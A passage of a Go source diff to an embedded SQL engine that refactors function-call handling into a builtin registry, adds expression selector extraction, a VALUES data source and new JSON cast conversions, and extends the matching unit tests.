} @@ -2110,6 +2130,10 @@ func (v *Integer) requiresType(t SQLValueType, cols map[string]ColDescriptor, pa return nil } +func (v *Integer) selectors() []Selector { + return nil +} + func (v *Integer) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } @@ -2194,6 +2218,10 @@ func (v *Timestamp) requiresType(t SQLValueType, cols map[string]ColDescriptor, return nil } +func (v *Timestamp) selectors() []Selector { + return nil +} + func (v *Timestamp) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } @@ -2271,6 +2299,10 @@ func (v *Varchar) requiresType(t SQLValueType, cols map[string]ColDescriptor, pa return nil } +func (v *Varchar) selectors() []Selector { + return nil +} + func (v *Varchar) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } @@ -2346,6 +2378,10 @@ func (v *UUID) requiresType(t SQLValueType, cols map[string]ColDescriptor, param return nil } +func (v *UUID) selectors() []Selector { + return nil +} + func (v *UUID) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } @@ -2415,6 +2451,10 @@ func (v *Bool) requiresType(t SQLValueType, cols map[string]ColDescriptor, param return nil } +func (v *Bool) selectors() []Selector { + return nil +} + func (v *Bool) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } @@ -2498,6 +2538,10 @@ func (v *Blob) requiresType(t SQLValueType, cols map[string]ColDescriptor, param return nil } +func (v *Blob) selectors() []Selector { + return nil +} + func (v *Blob) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } @@ -2567,6 +2611,10 @@ func (v *Float64) requiresType(t SQLValueType, cols map[string]ColDescriptor, pa return nil } +func (v *Float64) selectors() []Selector { + return nil +} + func (v *Float64) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } @@ -2628,51 +2676,31 @@ type FnCall struct { } func (v *FnCall) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { - if strings.ToUpper(v.fn) == NowFnCall { - return TimestampType, nil - } - - if strings.ToUpper(v.fn) == UUIDFnCall { - return UUIDType, nil - } - - if strings.ToUpper(v.fn) == JSONTypeOfFnCall { - return VarcharType, nil + fn, err := v.resolveFunc() + if err != nil { + return AnyType, err } - - return AnyType, fmt.Errorf("%w: unknown function %s", ErrIllegalArguments, v.fn) + return fn.inferType(cols, params, implicitTable) } func (v *FnCall) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { - if strings.ToUpper(v.fn) == NowFnCall { - if t != TimestampType { - return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, TimestampType, t) - } - - return nil + fn, err := v.resolveFunc() + if err != nil { + return err } + return fn.requiresType(t, cols, params, implicitTable) +} - if strings.ToUpper(v.fn) == UUIDFnCall { - if t != UUIDType { - return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, UUIDType, t) - } - - return nil +func (v *FnCall) selectors() []Selector { + selectors := make([]Selector, 0) + for _, param := range v.params { + selectors = append(selectors, param.selectors()...) } - - if strings.ToUpper(v.fn) == JSONTypeOfFnCall { - if t != VarcharType { - return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) - } - return nil - } - - return fmt.Errorf("%w: unkown function %s", ErrIllegalArguments, v.fn) + return selectors } func (v *FnCall) substitute(params map[string]interface{}) (val ValueExp, err error) { ps := make([]ValueExp, len(v.params)) - for i, p := range v.params { ps[i], err = p.substitute(params) if err != nil { @@ -2687,41 +2715,39 @@ func (v *FnCall) substitute(params map[string]interface{}) (val ValueExp, err er } func (v *FnCall) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { - if strings.ToUpper(v.fn) == NowFnCall { - if len(v.params) > 0 { - return nil, fmt.Errorf("%w: '%s' function does not expect any argument but %d were provided", ErrIllegalArguments, NowFnCall, len(v.params)) - } - return &Timestamp{val: tx.Timestamp().Truncate(time.Microsecond).UTC()}, nil + fn, err := v.resolveFunc() + if err != nil { + return nil, err } - if strings.ToUpper(v.fn) == UUIDFnCall { - if len(v.params) > 0 { - return nil, fmt.Errorf("%w: '%s' function does not expect any argument but %d were provided", ErrIllegalArguments, UUIDFnCall, len(v.params)) - } - return &UUID{val: uuid.New()}, nil + fnInputs, err := v.reduceParams(tx, row, implicitTable) + if err != nil { + return nil, err } + return fn.Apply(tx, fnInputs) +} - if strings.ToUpper(v.fn) == JSONTypeOfFnCall { - if len(v.params) != 1 { - return nil, fmt.Errorf("%w: '%s' function expects %d arguments but %d were provided", ErrIllegalArguments, JSONTypeOfFnCall, 1, len(v.params)) - } - - v, err := v.params[0].reduce(tx, row, implicitTable) - if err != nil { - return nil, err - } - - if v.IsNull() { - return NewNull(AnyType), nil +func (v *FnCall) reduceParams(tx *SQLTx, row *Row, implicitTable string) ([]TypedValue, error) { + var values []TypedValue + if len(v.params) > 0 { + values = make([]TypedValue, len(v.params)) + for i, p := range v.params { + v, err := p.reduce(tx, row, implicitTable) + if err != nil { + return nil, err + } + values[i] = v } + } + return values, nil +} - jsonVal, ok := v.(*JSON) - if !ok { - return nil, fmt.Errorf("%w: '%s' function expects an argument of type JSON", ErrIllegalArguments, JSONTypeOfFnCall) - } - return NewVarchar(jsonVal.primitiveType()), nil +func (v *FnCall) resolveFunc() (Function, error) { + fn, exists := builtinFunctions[strings.ToUpper(v.fn)] + if !exists { + return nil, fmt.Errorf("%w: unkown function %s", ErrIllegalArguments, v.fn) } - return nil, fmt.Errorf("%w: unkown function %s", ErrIllegalArguments, v.fn) + return fn, nil } func (v *FnCall) reduceSelectors(row *Row, implicitTable string) ValueExp { @@ -2791,6 +2817,10 @@ func (c *Cast) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, er return conv(val) } +func (v *Cast) selectors() []Selector { + return v.val.selectors() +} + func (c *Cast) reduceSelectors(row *Row, implicitTable string) ValueExp { return &Cast{ val: c.val.reduceSelectors(row, implicitTable), @@ -2891,6 +2921,10 @@ func (p *Param) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, e return nil, ErrUnexpected } +func (p *Param) selectors() []Selector { + return nil +} + func (p *Param) reduceSelectors(row *Row, implicitTable string) ValueExp { return p } @@ -2923,8 +2957,14 @@ type DataSource interface { Alias() string } +type TargetEntry struct { + Exp ValueExp + As string +} + type SelectStmt struct { distinct bool + targets []TargetEntry selectors []Selector ds DataSource indexOn []string @@ -2939,7 +2979,7 @@ type SelectStmt struct { } func NewSelectStmt( - selectors []Selector, + targets []TargetEntry, ds DataSource, where ValueExp, orderBy []*OrdCol, @@ -2947,12 +2987,12 @@ func NewSelectStmt( offset ValueExp, ) *SelectStmt { return &SelectStmt{ - selectors: selectors, - ds: ds, - where: where, - orderBy: orderBy, - limit: limit, - offset: offset, + targets: targets, + ds: ds, + where: where, + orderBy: orderBy, + limit: limit, + offset: offset, } } @@ -2970,7 +3010,7 @@ func (stmt *SelectStmt) inferParameters(ctx context.Context, tx *SQLTx, params m return err } - // TODO (jeroiraz) may be optimized so to resolve the query statement just once + // TODO: (jeroiraz) may be optimized so to resolve the query statement just once rowReader, err := stmt.Resolve(ctx, tx, nil, nil) if err != nil { return err @@ -2986,7 +3026,7 @@ func (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string } if stmt.containsAggregations() || len(stmt.groupBy) > 0 { - for _, sel := range stmt.selectors { + for _, sel := range stmt.getSelectors() { _, isAgg := sel.(*AggColSelector) if !isAgg && !stmt.groupByContains(sel) { return nil, fmt.Errorf("%s: %w", EncodeSelector(sel.resolve(stmt.Alias())), ErrColumnMustAppearInGroupByOrAggregation) @@ -3006,10 +3046,17 @@ func (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string return tx, nil } +func (stmt *SelectStmt) getSelectors() []Selector { + if stmt.selectors == nil { + stmt.selectors = stmt.extractSelectors() + } + return stmt.selectors +} + func (stmt *SelectStmt) containsSelector(s Selector) bool { encSel := EncodeSelector(s.resolve(stmt.Alias())) - for _, sel := range stmt.selectors { + for _, sel := range stmt.getSelectors() { if EncodeSelector(sel.resolve(stmt.Alias())) == encSel { return true } @@ -3028,6 +3075,29 @@ func (stmt *SelectStmt) groupByContains(sel Selector) bool { return false } +func (stmt *SelectStmt) extractGroupByCols() []*AggColSelector { + cols := make([]*AggColSelector, 0, len(stmt.targets)) + + for _, t := range stmt.targets { + selectors := t.Exp.selectors() + for _, sel := range selectors { + aggSel, isAgg := sel.(*AggColSelector) + if isAgg { + cols = append(cols, aggSel) + } + } + } + return cols +} + +func (stmt *SelectStmt) extractSelectors() []Selector { + selectors := make([]Selector, 0, len(stmt.targets)) + for _, t := range stmt.targets { + selectors = append(selectors, t.Exp.selectors()...) + } + return selectors +} + func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (ret RowReader, err error) { scanSpecs, err := stmt.genScanSpecs(tx, params) if err != nil { @@ -3068,7 +3138,7 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin } var groupedRowReader *groupedRowReader - groupedRowReader, err = newGroupedRowReader(rowReader, stmt.selectors, stmt.groupBy) + groupedRowReader, err = newGroupedRowReader(rowReader, allAggregations(stmt.targets), stmt.extractGroupByCols(), stmt.groupBy) if err != nil { return nil, err } @@ -3088,7 +3158,7 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin rowReader = sortRowReader } - projectedRowReader, err := newProjectedRowReader(ctx, rowReader, stmt.as, stmt.selectors) + projectedRowReader, err := newProjectedRowReader(ctx, rowReader, stmt.as, stmt.targets) if err != nil { return nil, err } @@ -3181,7 +3251,7 @@ func ordColumnsHaveAggregations(cols []*OrdCol) bool { } func (stmt *SelectStmt) containsAggregations() bool { - for _, sel := range stmt.selectors { + for _, sel := range stmt.getSelectors() { _, isAgg := sel.(*AggColSelector) if isAgg { return true @@ -3227,7 +3297,7 @@ func (stmt *SelectStmt) Alias() string { } func (stmt *SelectStmt) hasTxMetadata() bool { - for _, sel := range stmt.selectors { + for _, sel := range stmt.getSelectors() { switch s := sel.(type) { case *ColSelector: if s.col == txMetadataCol { @@ -3594,6 +3664,56 @@ func (stmt *tableRef) Alias() string { return stmt.as } +type valuesDataSource struct { + rows []*RowSpec +} + +func NewValuesDataSource(rows []*RowSpec) *valuesDataSource { + return &valuesDataSource{ + rows: rows, + } +} + +func (ds *valuesDataSource) readOnly() bool { + return true +} + +func (ds *valuesDataSource) requiredPrivileges() []SQLPrivilege { + return nil +} + +func (ds *valuesDataSource) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + return tx, nil +} + +func (ds *valuesDataSource) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return nil +} + +func (ds *valuesDataSource) Alias() string { + return "" +} + +func (ds *valuesDataSource) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) { + if tx == nil { + return nil, ErrIllegalArguments + } + + cols := make([]ColDescriptor, len(ds.rows[0].Values)) + for i := range cols { + cols[i] = ColDescriptor{ + Type: AnyType, + Column: fmt.Sprintf("col%d", i), + } + } + + values := make([][]ValueExp, len(ds.rows)) + for i, rowSpec := range ds.rows { + values[i] = rowSpec.Values + } + return newValuesRowReader(tx, params, cols, false, "values", values) +} + type JoinSpec struct { joinType JoinType ds DataSource @@ -3616,14 +3736,11 @@ func NewOrdCol(table string, col string, descOrder bool) *OrdCol { type Selector interface { ValueExp resolve(implicitTable string) (aggFn, table, col string) - alias() string - setAlias(alias string) } type ColSelector struct { table string col string - as string } func NewColSelector(table, col string) *ColSelector { @@ -3641,18 +3758,6 @@ func (sel *ColSelector) resolve(implicitTable string) (aggFn, table, col string) return "", table, sel.col } -func (sel *ColSelector) alias() string { - if sel.as == "" { - return sel.col - } - - return sel.as -} - -func (sel *ColSelector) setAlias(alias string) { - sel.as = alias -} - func (sel *ColSelector) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { _, table, col := sel.resolve(implicitTable) encSel := EncodeSelector("", table, col) @@ -3700,6 +3805,10 @@ func (sel *ColSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (Typed return v, nil } +func (sel *ColSelector) selectors() []Selector { + return []Selector{sel} +} + func (sel *ColSelector) reduceSelectors(row *Row, implicitTable string) ValueExp { aggFn, table, col := sel.resolve(implicitTable) @@ -3727,7 +3836,6 @@ type AggColSelector struct { aggFn AggregateFn table string col string - as string } func NewAggColSelector(aggFn AggregateFn, table, col string) *AggColSelector { @@ -3747,18 +3855,9 @@ func (sel *AggColSelector) resolve(implicitTable string) (aggFn, table, col stri if sel.table != "" { table = sel.table } - return sel.aggFn, table, sel.col } -func (sel *AggColSelector) alias() string { - return sel.as -} - -func (sel *AggColSelector) setAlias(alias string) { - sel.as = alias -} - func (sel *AggColSelector) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if sel.aggFn == COUNT { return IntegerType, nil @@ -3818,6 +3917,10 @@ func (sel *AggColSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (Ty return v, nil } +func (sel *AggColSelector) selectors() []Selector { + return []Selector{sel} +} + func (sel *AggColSelector) reduceSelectors(row *Row, implicitTable string) ValueExp { return sel } @@ -3845,7 +3948,7 @@ func (bexp *NumExp) inferType(cols map[string]ColDescriptor, params map[string]S if err != nil { return AnyType, err } - if tleft != AnyType && tleft != IntegerType && tleft != Float64Type { + if tleft != AnyType && tleft != IntegerType && tleft != Float64Type && tleft != JSONType { return AnyType, fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, tleft) } @@ -3853,7 +3956,7 @@ func (bexp *NumExp) inferType(cols map[string]ColDescriptor, params map[string]S if err != nil { return AnyType, err } - if tright != AnyType && tright != IntegerType && tright != Float64Type { + if tright != AnyType && tright != IntegerType && tright != Float64Type && tright != JSONType { return AnyType, fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, tright) } @@ -3967,6 +4070,10 @@ func unwrapJSON(v TypedValue) TypedValue { return v } +func (bexp *NumExp) selectors() []Selector { + return append(bexp.left.selectors(), bexp.right.selectors()...) +} + func (bexp *NumExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &NumExp{ op: bexp.op, @@ -4033,6 +4140,10 @@ func (bexp *NotBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Typed return &Bool{val: !r}, nil } +func (bexp *NotBoolExp) selectors() []Selector { + return bexp.exp.selectors() +} + func (bexp *NotBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &NotBoolExp{ exp: bexp.exp.reduceSelectors(row, implicitTable), @@ -4153,6 +4264,10 @@ func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Type return &Bool{val: matched != bexp.notLike}, nil } +func (bexp *LikeBoolExp) selectors() []Selector { + return bexp.val.selectors() +} + func (bexp *LikeBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return bexp } @@ -4278,6 +4393,10 @@ func (bexp *CmpBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Typed return &Bool{val: cmpSatisfiesOp(r, bexp.op)}, nil } +func (bexp *CmpBoolExp) selectors() []Selector { + return append(bexp.left.selectors(), bexp.right.selectors()...) +} + func (bexp *CmpBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &CmpBoolExp{ op: bexp.op, @@ -4529,6 +4648,10 @@ func (bexp *BinBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Typed return nil, ErrUnexpected } +func (bexp *BinBoolExp) selectors() []Selector { + return append(bexp.left.selectors(), bexp.right.selectors()...) +} + func (bexp *BinBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &BinBoolExp{ op: bexp.op, @@ -4605,6 +4728,10 @@ func (bexp *ExistsBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Ty return nil, fmt.Errorf("'EXISTS' clause: %w", ErrNoSupported) } +func (bexp *ExistsBoolExp) selectors() []Selector { + return nil +} + func (bexp *ExistsBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return bexp } @@ -4643,6 +4770,10 @@ func (bexp *InSubQueryExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Ty return nil, fmt.Errorf("error inferring type in 'IN' clause: %w", ErrNoSupported) } +func (bexp *InSubQueryExp) selectors() []Selector { + return bexp.val.selectors() +} + func (bexp *InSubQueryExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return bexp } @@ -4745,6 +4876,14 @@ func (bexp *InListExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedV return &Bool{val: found != bexp.notIn}, nil } +func (bexp *InListExp) selectors() []Selector { + selectors := make([]Selector, 0, len(bexp.values)) + for _, v := range bexp.values { + selectors = append(selectors, v.selectors()...) + } + return append(bexp.val.selectors(), selectors...) +} + func (bexp *InListExp) reduceSelectors(row *Row, implicitTable string) ValueExp { values := make([]ValueExp, len(bexp.values)) @@ -4901,7 +5040,7 @@ func (stmt *FnDataSourceStmt) resolveListDatabases(ctx context.Context, tx *SQLT values[i] = []ValueExp{&Varchar{val: db}} } - return newValuesRowReader(tx, params, cols, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { @@ -4923,7 +5062,7 @@ func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, values[i] = []ValueExp{&Varchar{val: t.name}} } - return newValuesRowReader(tx, params, cols, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveShowTable(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { @@ -5001,7 +5140,7 @@ func (stmt *FnDataSourceStmt) resolveShowTable(ctx context.Context, tx *SQLTx, p } } - return newValuesRowReader(tx, params, cols, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { @@ -5042,7 +5181,7 @@ func (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, p } } - return newValuesRowReader(tx, params, cols, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { @@ -5137,7 +5276,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, } } - return newValuesRowReader(tx, params, cols, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { @@ -5194,7 +5333,7 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, } } - return newValuesRowReader(tx, params, cols, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListGrants(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { @@ -5256,7 +5395,7 @@ func (stmt *FnDataSourceStmt) resolveListGrants(ctx context.Context, tx *SQLTx, } } - return newValuesRowReader(tx, params, cols, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } // DropTableStmt represents a statement to delete a table. diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index bcd81a9d20..4d4e1f791b 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -548,7 +548,7 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { expectedError error }{ { - exp: &FnCall{fn: "NOW"}, + exp: &FnCall{fn: NowFnCall}, cols: cols, params: params, implicitTable: "mytable", @@ -556,7 +556,7 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { expectedError: nil, }, { - exp: &FnCall{fn: "NOW"}, + exp: &FnCall{fn: NowFnCall}, cols: cols, params: params, implicitTable: "mytable", @@ -564,20 +564,124 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &FnCall{fn: "LOWER"}, + exp: &FnCall{fn: LengthFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: IntegerType, + expectedError: nil, + }, + { + exp: &FnCall{fn: LengthFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: VarcharType, + expectedError: ErrInvalidTypes, + }, + { + exp: &FnCall{fn: SubstringFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: VarcharType, + expectedError: nil, + }, + { + exp: &FnCall{fn: SubstringFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: IntegerType, + expectedError: ErrInvalidTypes, + }, + { + exp: &FnCall{fn: ConcatFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: VarcharType, + expectedError: nil, + }, + { + exp: &FnCall{fn: ConcatFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: IntegerType, + expectedError: ErrInvalidTypes, + }, + { + exp: &FnCall{fn: TrimFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: VarcharType, + expectedError: nil, + }, + { + exp: &FnCall{fn: TrimFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: IntegerType, + expectedError: ErrInvalidTypes, + }, + { + exp: &FnCall{fn: UpperFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: VarcharType, + expectedError: nil, + }, + { + exp: &FnCall{fn: LowerFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, - expectedError: ErrIllegalArguments, + expectedError: nil, }, { - exp: &FnCall{fn: "LOWER"}, + exp: &FnCall{fn: LowerFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: Float64Type, - expectedError: ErrIllegalArguments, + expectedError: ErrInvalidTypes, + }, + { + exp: &FnCall{fn: JSONTypeOfFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: VarcharType, + expectedError: nil, + }, + { + exp: &FnCall{fn: JSONTypeOfFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: IntegerType, + expectedError: ErrInvalidTypes, + }, + { + exp: &FnCall{fn: UUIDFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: UUIDType, + expectedError: nil, + }, + { + exp: &FnCall{fn: UUIDFnCall}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: VarcharType, + expectedError: ErrInvalidTypes, }, } @@ -1394,6 +1498,16 @@ func TestRequiredPrivileges(t *testing.T) { readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeInsert}, }, + { + stmt: &UpsertIntoStmt{ds: &SelectStmt{}}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeUpdate, SQLPrivilegeSelect}, + }, + { + stmt: &UpsertIntoStmt{ds: &SelectStmt{}, isInsert: true}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeSelect}, + }, { stmt: &DeleteFromStmt{}, readOnly: false, @@ -1474,6 +1588,11 @@ func TestRequiredPrivileges(t *testing.T) { readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeAlter}, }, + { + stmt: &RenameTableStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeAlter}, + }, { stmt: &RenameColumnStmt{}, readOnly: false, @@ -1493,3 +1612,114 @@ func TestRequiredPrivileges(t *testing.T) { }) } } + +func TestExprSelectors(t *testing.T) { + type testCase struct { + Expr ValueExp + selectors []Selector + } + + tests := []testCase{ + { + Expr: &Integer{}, + }, + { + Expr: &Bool{}, + }, + { + Expr: &Float64{}, + }, + { + Expr: &NullValue{}, + }, + { + Expr: &Blob{}, + }, + { + Expr: &UUID{}, + }, + { + Expr: &JSON{}, + }, + { + Expr: &Timestamp{}, + }, + { + Expr: &Varchar{}, + }, + { + Expr: &Param{}, + }, + { + Expr: &ColSelector{col: "col"}, + selectors: []Selector{ + &ColSelector{col: "col"}, + }, + }, + { + Expr: &JSONSelector{ColSelector: &ColSelector{col: "col"}}, + selectors: []Selector{ + &JSONSelector{ColSelector: &ColSelector{col: "col"}}, + }, + }, + { + Expr: &BinBoolExp{ + left: &ColSelector{col: "col"}, + right: &ColSelector{col: "col1"}, + }, + selectors: []Selector{ + &ColSelector{col: "col"}, + &ColSelector{col: "col1"}, + }, + }, + { + Expr: &NumExp{ + left: &ColSelector{col: "col"}, + right: &ColSelector{col: "col1"}, + }, + selectors: []Selector{ + &ColSelector{col: "col"}, + &ColSelector{col: "col1"}, + }, + }, + { + Expr: &LikeBoolExp{ + val: &ColSelector{col: "col"}, + }, + selectors: []Selector{ + &ColSelector{col: "col"}, + }, + }, + { + Expr: &ExistsBoolExp{}, + }, + { + Expr: &InSubQueryExp{val: &ColSelector{col: "col"}}, + selectors: []Selector{ + &ColSelector{col: "col"}, + }, + }, + { + Expr: &InListExp{ + val: &ColSelector{col: "col"}, + values: []ValueExp{ + &ColSelector{col: "col1"}, + &ColSelector{col: "col2"}, + &ColSelector{col: "col3"}, + }, + }, + selectors: []Selector{ + &ColSelector{col: "col"}, + &ColSelector{col: "col1"}, + &ColSelector{col: "col2"}, + &ColSelector{col: "col3"}, + }, + }, + } + + for _, tc := range tests { + t.Run(reflect.TypeOf(tc.Expr).Elem().Name(), func(t *testing.T) { + require.Equal(t, tc.selectors, tc.Expr.selectors()) + }) + } +} diff --git a/embedded/sql/type_conversion.go b/embedded/sql/type_conversion.go index cdf4669d94..930ec4ec82 100644 --- a/embedded/sql/type_conversion.go +++ b/embedded/sql/type_conversion.go @@ -98,6 +98,27 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { }, nil } + if src == JSONType { + jsonToStr, err := getConverter(src, VarcharType) + if err != nil { + return nil, err + } + + strToTimestamp, err := getConverter(VarcharType, TimestampType) + if err != nil { + return nil, err + } + + return func(tv TypedValue) (TypedValue, error) { + v, err := jsonToStr(tv) + if err != nil { + return nil, err + } + s, _ := v.RawValue().(string) + return strToTimestamp(NewVarchar(strings.Trim(s, `"`))) + }, nil + } + return nil, fmt.Errorf( "%w: only INTEGER and VARCHAR types can be cast as TIMESTAMP", ErrUnsupportedCast, @@ -267,11 +288,18 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { }, nil } + if src == JSONType { + return func(val TypedValue) (TypedValue, error) { + jsonStr := val.String() + return &Blob{val: []byte(jsonStr)}, nil + }, nil + } + return nil, fmt.Errorf( - "%w: only UUID and VARCHAR types can be cast as BLOB", + "%w: cannot cast type %s to BLOB", ErrUnsupportedCast, + src, ) - } if dst == VarcharType { @@ -312,6 +340,12 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { err := json.Unmarshal([]byte(s), &x) return &JSON{val: x}, err + case BLOBType: + rawJson, ok := tv.RawValue().([]byte) + if !ok { + return nil, fmt.Errorf("invalid %s value", JSONType) + } + return NewJsonFromString(string(rawJson)) } return nil, fmt.Errorf( diff --git a/embedded/sql/values_row_reader.go b/embedded/sql/values_row_reader.go index 3e23df8ccd..398e56843d 100644 --- a/embedded/sql/values_row_reader.go +++ b/embedded/sql/values_row_reader.go @@ -31,17 +31,13 @@ type valuesRowReader struct { values [][]ValueExp read int - params map[string]interface{} - + params map[string]interface{} + checkTypes bool onCloseCallback func() closed bool } -func newValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDescriptor, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { - if len(cols) == 0 { - return nil, fmt.Errorf("%w: empty column list", ErrIllegalArguments) - } - +func newValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDescriptor, checkTypes bool, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { if tableAlias == "" { return nil, fmt.Errorf("%w: table alias is mandatory", ErrIllegalArguments) } @@ -77,6 +73,7 @@ func newValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDesc colsBySel: colsBySel, tableAlias: tableAlias, values: values, + checkTypes: checkTypes, }, nil } @@ -115,7 +112,10 @@ func (vr *valuesRowReader) colsBySelector(ctx context.Context) (map[string]ColDe func (vr *valuesRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { for _, vs := range vr.values { for _, v := range vs { - v.inferType(vr.colsBySel, params, vr.tableAlias) + _, err := v.inferType(vr.colsBySel, params, vr.tableAlias) + if err != nil { + return err + } } } return nil @@ -142,9 +142,11 @@ func (vr *valuesRowReader) Read(ctx context.Context) (*Row, error) { return nil, err } - err = rv.requiresType(vr.colsByPos[i].Type, vr.colsBySel, nil, vr.tableAlias) - if err != nil { - return nil, err + if vr.checkTypes { + err = rv.requiresType(vr.colsByPos[i].Type, vr.colsBySel, nil, vr.tableAlias) + if err != nil { + return nil, err + } } valuesByPosition[i] = rv diff --git a/embedded/sql/values_row_reader_test.go b/embedded/sql/values_row_reader_test.go index 176b8cfb01..00b9d94f8d 100644 --- a/embedded/sql/values_row_reader_test.go +++ b/embedded/sql/values_row_reader_test.go @@ -24,23 +24,23 @@ import ( ) func TestValuesRowReader(t *testing.T) { - _, err := newValuesRowReader(nil, nil, nil, "", nil) + _, err := newValuesRowReader(nil, nil, nil, true, "", nil) 